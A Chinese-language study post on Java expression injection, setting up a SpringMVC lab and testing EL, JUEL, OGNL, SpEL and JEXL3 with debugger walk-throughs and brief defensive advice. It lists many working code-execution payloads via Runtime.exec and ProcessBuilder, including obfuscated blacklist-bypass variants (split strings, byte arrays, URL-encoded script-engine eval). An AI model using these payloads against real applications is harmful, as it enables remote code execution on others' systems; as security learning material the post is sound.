Java表达式注入学习
参考:
Java安全学习—表达式注入
表达式注入
浅析EL表达式注入漏洞
一文读懂OGNL漏洞
ONGL表达式注入浅析
SpEL表达式注入漏洞总结
SPEL表达式注入总结及回显技术
Nexus Repository Manager3 JEXL3表达式注入浅析
SpringMVC环境搭建 先初始化个SpringMVC
的项目,可以参考这个速通一下JavaSpringMVC
新建个module
先,取名随意,我这里是参考视频里搞了个
进去后改下pom.xml
然后记得maven
刷一下
<project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > com.evo1</groupId > <artifactId > ExpressionInject</artifactId > <packaging > war</packaging > <version > 1.0-SNAPSHOT</version > <name > ExpressionInject Maven Webapp</name > <url > http://maven.apache.org</url > <dependencies > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 3.8.1</version > <scope > test</scope > </dependency > <dependency > <groupId > javax.servlet</groupId > <artifactId > javax.servlet-api</artifactId > <version > 3.1.0</version > <scope > provided</scope > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-webmvc</artifactId > <version > 5.2.10.RELEASE</version > </dependency > </dependencies > <build > <finalName > ExpressionInject</finalName > <plugins > <plugin > <groupId > org.apache.tomcat.maven</groupId > <artifactId > tomcat7-maven-plugin</artifactId > <version > 2.1</version > <configuration > <port > 80</port > <path > /</path > </configuration > </plugin > </plugins > </build > </project >
然后是放在com.evo1.config
下的各个配置文件
SpringMvcConfig
package com.evo1.config;import org.springframework.context.annotation.ComponentScan;import org.springframework.context.annotation.Configuration;import org.springframework.web.servlet.config.annotation.EnableWebMvc;@Configuration @ComponentScan("com.evo1.controller") @EnableWebMvc public class SpringMvcConfig {}
SpringConfig
package com.evo1.config;import org.springframework.context.annotation.ComponentScan;import org.springframework.context.annotation.Configuration;@Configuration @ComponentScan("com.evo1.controller") public class SpringConfig {}
ServletContainersInitConfig
package com.evo1.config;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.support.AnnotationConfigWebApplicationContext;import org.springframework.web.filter.CharacterEncodingFilter;import org.springframework.web.servlet.support.AbstractDispatcherServletInitializer;import javax.servlet.Filter;public class ServletContainersInitConfig extends AbstractDispatcherServletInitializer { protected WebApplicationContext createServletApplicationContext () { AnnotationConfigWebApplicationContext ctx = new AnnotationConfigWebApplicationContext (); ctx.register(SpringMvcConfig.class); return ctx; } protected String[] getServletMappings() { return new String []{"/" }; } protected WebApplicationContext createRootApplicationContext () { return null ; } @Override protected Filter[] getServletFilters() { CharacterEncodingFilter filter = new CharacterEncodingFilter (); filter.setEncoding("UTF-8" ); return new Filter []{filter}; } }
在com.evo1.controller
下写个路由测试下
HelloSpringMvc
package com.evo1.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class HelloSpringMvc { @RequestMapping("/hello") @ResponseBody public String hello () { System.out.println("Hello SpringMVC!" ); return "Hello SpringMVC!" ; } }
最后简单配置下
运行后访问http://127.0.0.1/hello
即可
EL表达式 基础知识可以去看浅析EL表达式注入漏洞 学习,这里简单复现一下里面的东西
先自己写一个简单的测试类ELFunc
package com.evo1.test;public class ELFunc { public static String doSomething (String string) { return "Hello " + string + " !" ; } }
然后在WEB-INF
目录下创建test.tld
<?xml version="1.0" encoding="UTF-8" ?> <taglib version ="2.0" xmlns ="http://java.sun.com/xml/ns/j2ee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd" > <tlib-version > 1.0</tlib-version > <short-name > ELFunc</short-name > <uri > http://127.0.0.1/ELFunc</uri > <function > <name > doSomething</name > <function-class > com.evo1.test.ELFunc</function-class > <function-signature > java.lang.String doSomething(java.lang.String)</function-signature > </function > </taglib >
最后创建一个eltest.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page isELIgnored="false" %> <%-- 这里是开启EL表达式 --%> <%@taglib uri="http://127.0.0.1/ELFunc" prefix="ELFunc" %> <html> <head> <title>ElTest</title> </head> <body> ${ELFunc:doSomething("evo1" )} </body> </html>
运行后访问http://127.0.0.1/eltest.jsp
即可
这里还有一些通用PoC
${pageContext} ${pageContext.getSession().getServletContext().getClassLoader().getResource("" )} ${header} ${applicationScope} ${pageContext.request.getSession().setAttribute("a" ,pageContext.request.getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null ).invoke(null ,null ).exec("calc" ).getInputStream())} ${pageContext.setAttribute("a" ,"" .getClass().forName("java.lang.Runtime" ).getMethod("exec" ,"" .getClass()).invoke("" .getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ).invoke(null ),"calc.exe" ))}
CVE-2011-2730 JUEL 安装一些依赖
<dependency > <groupId > de.odysseus.juel</groupId > <artifactId > juel-api</artifactId > <version > 2.2.7</version > </dependency > <dependency > <groupId > de.odysseus.juel</groupId > <artifactId > juel-spi</artifactId > <version > 2.2.7</version > </dependency > <dependency > <groupId > de.odysseus.juel</groupId > <artifactId > juel-impl</artifactId > <version > 2.2.7</version > </dependency >
新建个文件运行下即可
package com.evo1.test;import de.odysseus.el.ExpressionFactoryImpl;import de.odysseus.el.util.SimpleContext;import javax.el.ExpressionFactory;import javax.el.ValueExpression;public class ELShell { public static void main (String[] args) { ExpressionFactory expressionFactory = new ExpressionFactoryImpl (); SimpleContext simpleContext = new SimpleContext (); String shell = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}" ; ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, shell, String.class); System.out.println(valueExpression.getValue(simpleContext)); } }
防御方法
尽量不使用外部输入的内容作为EL表达式内容;
若使用,则严格过滤EL表达式注入漏洞的payload关键字;
如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:
javax.el.ExpressionFactory.createValueExpression() javax.el.ValueExpression.getValue()
OGNL表达式 先安一下相关依赖,这里先装个低版本的方便后面调试payload
<dependency > <groupId > ognl</groupId > <artifactId > ognl</artifactId > <version > 2.7.3</version > </dependency >
然后创建相关类
SchoolMaster
package com.evo1.test;public class SchoolMaster { private String name = "schoolmaster" ; public SchoolMaster () { } public SchoolMaster (String name) { this .name = name; } public String getName () { return name; } public void setName (String name) { this .name = name; } public String toString () { return "SchoolMaster{name = " + name + "}" ; } }
School
package com.evo1.test;public class School { private String name = "school" ; private SchoolMaster schoolMaster; public School () { } public School (String name, SchoolMaster schoolMaster) { this .name = name; this .schoolMaster = schoolMaster; } public String getName () { return name; } public void setName (String name) { this .name = name; } public SchoolMaster getSchoolMaster () { return schoolMaster; } public void setSchoolMaster (SchoolMaster schoolMaster) { this .schoolMaster = schoolMaster; } public String toString () { return "School{name = " + name + ", schoolMaster = " + schoolMaster + "}" ; } }
Student
package com.evo1.test;public class Student { private String name = "student" ; private School school; public Student () { } public Student (String name, School school) { this .name = name; this .school = school; } public String getName () { return name; } public void setName (String name) { this .name = name; } public School getSchool () { return school; } public void setSchool (School school) { this .school = school; } public String toString () { return "Student{name = " + name + ", school = " + school + "}" ; } }
最后创建一个测试类
package com.evo1.test;import ognl.Ognl;import ognl.OgnlContext;import ognl.OgnlException;public class OgnlTest { public static void main (String[] args) throws OgnlException { School school = new School (); school.setName("tsinghua" ); school.setSchoolMaster(new SchoolMaster ("wanghua" )); Student student1 = new Student (); student1.setName("xiaoming" ); student1.setSchool(school); Student student2 = new Student (); student2.setName("zhangsan" ); student2.setSchool(school); OgnlContext context = new OgnlContext (); context.setRoot(student1); context.put("student2" , student2); Object name1 = Ognl.getValue("name" , context, context.getRoot()); Object school1 = Ognl.getValue("school.name" , context, context.getRoot()); Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name" , context, context.getRoot()); System.out.println(name1 + ":学校-" + school1 + ",校长-" +schoolMaster1); Object name2 = Ognl.getValue("#student2.name" , context, context.getRoot()); Object school2 = Ognl.getValue("#student2.school.name" , context, context.getRoot()); Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name" , context, context.getRoot()); System.out.println(name2 + ":学校-" + school2 + ",校长-" +schoolMaster2); } }
相关知识点可以看这里一文读懂OGNL漏洞 学一下,这里贴一些常用payload
#user #user.name @java .lang.Runtime@getRuntime() .exec("open -a Calculator" )(new java .lang.ProcessBuilder(new java .lang.String[]{"open" , "-a" , "Calculator" })).start() @java .lang.System@getProperty("user.dir")
OGNL 2.7.3版本 写一个demo
package com.evo1.test;import ognl.Ognl;import ognl.OgnlContext;import ognl.OgnlException;import java.io.IOException;public class OgnlTest { public static void main (String[] args) throws OgnlException, IOException { OgnlContext ognlContext = new OgnlContext (); Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")" , ognlContext, ognlContext.getRoot()); } }
断点打在getValue
进调试,会进入Ognl的getValue
进去后会来到Ognl的另一个getValue
继续进去后会来到Ognl的又一个getValue,在这里注意一下里面的ASTChain
,在OGNL中解析和执行都是通过ASTXXXXX
这种方法来完成的
接下来进入node.getValue
会跳转到SimpleNode
的getValue
,然后进入其中的evaluateGetValueBody
这里会判断是不是const
然后调用不同方法
来到ASTChain的getValueBody,这里会调用子节点的getValue
这里会不断重复上面的流程,直接来看命令被执行的这一次,会跟进到ASTMethod
的getValueBody
然后来到了Ognl
的callAppropriateMethod
最后在invokeMethod
中被执行
OGNL 3.2.18版本 先切换一下版本
<dependency > <groupId > ognl</groupId > <artifactId > ognl</artifactId > <version > 3.2.18</version > </dependency >
Ognl>=3.1.25、Ognl>=3.2.12配置了黑名单检测
SPEL表达式 这里的T中的内容会被解析为对应的类
package com.evo1.test;import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;public class SpelTest { public static void main (String[] args) { String cmdStr = "T(java.lang.String)" ; ExpressionParser parser = new SpelExpressionParser (); Expression exp = parser.parseExpression(cmdStr); System.out.println(exp.getValue()); } }
网上抄的一些常见的poc(更多更详细的可以看看大b的SPEL表达式注入总结及回显技术 )
T(java.lang.Runtime).getRuntime().exec("calc" ) T(Runtime).getRuntime().exec("calc" ) new java .lang.ProcessBuilder({'calc' }).start()new ProcessBuilder ({'calc' }).start()****************************************************************************** T(String).getClass().forName("java.lang.Runtime" ).getRuntime().exec("calc" ) #this .getClass().forName("java.lang.Runtime" ).getRuntime().exec("calc" ) T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new String []{"cmd" ,"/C" ,"calc" }) #this .getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new String []{"cmd" ,"/C" ,"calc" }) new java .lang.ProcessBuilder(new java .lang.String(new byte []{99 ,97 ,108 ,99 })).start()T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99 ).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(108 )).concat(T(java.lang.Character).toString(99 ))) T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn" ).eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la" +"ng.Run" +"time.getRu" +"ntime().ex" +"ec(s);" ) T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript" ).eval("xxx" ),) T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript" ).eval(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new String []{"cmd" ,"/C" ,"calc" })),) T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript" ).eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29" )),) '' ['class' ].forName('java.lang.Runtime' ).getDeclaredMethods()[15 ].invoke('' ['class' ].forName('java.lang.Runtime' ).getDeclaredMethods()[7 ].invoke(null ),'calc' )T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell" ,true ).Methods[6 ].invoke(null ,{}).eval('whatever java code in one statement' ).toString()
JEXL3表达式 老规矩先添加依赖
<dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-jexl3</artifactId > <version > 3.0</version > </dependency >
然后写个测试类测试下即可
package com.evo1.test;import org.apache.commons.jexl3.*;public class JexlTest { public static void main (String[] args) { JexlEngine jexl = new JexlBuilder ().create(); JexlContext jc = new MapContext (); Foo foo = new Foo (); Integer number = new Integer (9999 ); jc.set("foo" , foo); jc.set("number" , number); JexlExpression e = jexl.createExpression("foo.getFoo()" ); Object o = e.evaluate(jc); System.out.println("value returned by the method getFoo() is : " + o + " | " + foo.getFoo()); e = jexl.createExpression("foo.convert(1)" ); o = e.evaluate(jc); System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(1 )); e = jexl.createExpression("foo.convert(number)" ); o = e.evaluate(jc); System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(9999 )); e = jexl.createExpression("foo.bar" ); o = e.evaluate(jc); System.out.println("value returned for the property 'bar' is : " + o + " | " + foo.get("bar" )); } public static class Foo { public String getFoo () { return "This is from getFoo()" ; } public String get (String arg) { return "This is the property " + arg; } public String convert (long i) { return "The value is : " + i; } } }
RCE 写个例子
package com.evo1.test;import org.apache.commons.jexl3.*;public class JexlTest { public static void main (String[] args) { String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('calc')" ; JexlEngine engine = new JexlBuilder ().create(); JexlExpression Expression = engine.createExpression(Exp); JexlContext Context = new MapContext (); Object rs = Expression.evaluate(Context); System.out.println(rs); } }
具体调试分析可以看Nexus Repository Manager3 JEXL3表达式注入浅析 学习,这里简单过一下evaluate
这部分,断点打在Expression.evaluate
来到Script的evaluate,继续跟进
然后会来到Interpreter的visit方法,这里会循环几次,在最后执行的一次跟进其中的jjtAccept方法
继续跟进
跟进其中的call方法
最后调用了MethodExecutor的invoke方法